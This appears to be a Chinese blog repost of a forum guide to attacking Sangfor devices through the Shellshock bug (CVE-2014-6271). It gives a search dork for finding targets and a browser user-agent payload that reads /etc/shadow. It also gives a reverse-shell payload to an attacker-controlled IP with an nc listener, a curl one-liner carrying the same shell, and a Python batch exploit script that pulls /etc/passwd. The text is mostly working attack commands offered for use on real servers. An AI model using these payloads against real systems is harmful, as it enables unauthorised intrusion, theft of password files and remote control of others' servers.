原文:http://sb.f4ck.org/thread-20348-1-1.html
1、google高级搜索intitle:ad.sangfor.com,这个问题几年前发现的,因为设计缺陷造成,现在搜到的结果比以前少很多了。
当然还有其他的手段,就不多嘴了,深信服有那个几个特定的端口组合,nmap即可
2、firefox浏览器中输入about:config,如果不存在general.useragent.override则添加,并将eneral.useragent.override设置值为() { :;}; echo `/bin/cat /etc/shadow`,其意思就是设备浏览器默认user-agent为() { :;}; echo `/bin/cat /etc/shadow`,freebuf早有验证方法.
3、打开待测试网站,如果页面内容中存在/etc/shadow的内容的话,说明网站就存在shellshock漏洞
4、上面测试用例只是读文件,可以将浏览器的general.useragent.override设置为
() { :;}; /bin/sh -i >& /dev/tcp/REVERSE_SHELL_IP/PORT 0>&1
来获取反弹shell。ps:将上面的REVERSE_SHELL_IP替换成自己控制的服务器的IP地址,并在服务器上使用nc -lvvp 8080来进行端口监听,然后等待反弹的shell即可。
5、当然除了修改浏览器来反弹shell,可以使用curl方便的进行利用:
curl "https://xxxx.com/cgi-bin/login.cgi?action=log&fro=self" -k -A "() { :;}; /bin/sh -i >&/dev/tcp/xx.xx.xx.xx/8080 0>&1"
批量检测是否存在shellshock漏洞的python脚本:
#!/usr/bin/env python
#coding:utf-8
import os
import sys
import re
print "f4ck ziwen cve 2014 6271 exp attacking!"
if sys.argv[1].startswith('-'):
option = sys.argv[1][1:]
if option == 'url':
b=sys.argv[2]
if not re.match("http",sys.argv[2]):
print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi"
else:
out=re.sub("\.|\/","",b)
out=out[7:]
print "shahdashhdd",out,b
a="curl -H \'x: () { :;};a=`/bin/cat /etc/passwd`;echo \"a: $a\"' '"+b+"' -I -o "+out+"\"output\".txt"
os.system(a)
f = open(out+"output.txt", 'r')
a=f.read()
if re.search("root|bin\/bash",a):
print "target possible have bug under is *nix passwd file"
print a
else:
f.close()
os.remove(out+"output.txt")
print "possible dont have bug! or have a waf!"
else:
print "error! U can email to me U question (ziwen@21.wf)"
print option
ps:当然,测试时最好用cat /etc/shadow来进行测试,因为有可能存在漏洞但是没有权限读/etc/passwd文件。
ps:另外,设置火狐浏览器的general.useragent.override会改变浏览器的User-Agent,如果一直保持() { :;}; echo `/bin/cat /etc/shadow`这样的测试代码的话会引起不必要的麻烦,如访问某些网站遭到waf拦截,所以利用完后将其重置为空即可。
参考资料:
1、http://sb.f4ck.org/thread-20348-1-1.html
2、http://www.freebuf.com/tools/45311.html
转载请注明:jinglingshu的博客 » 利用shellshock拿服务器用例




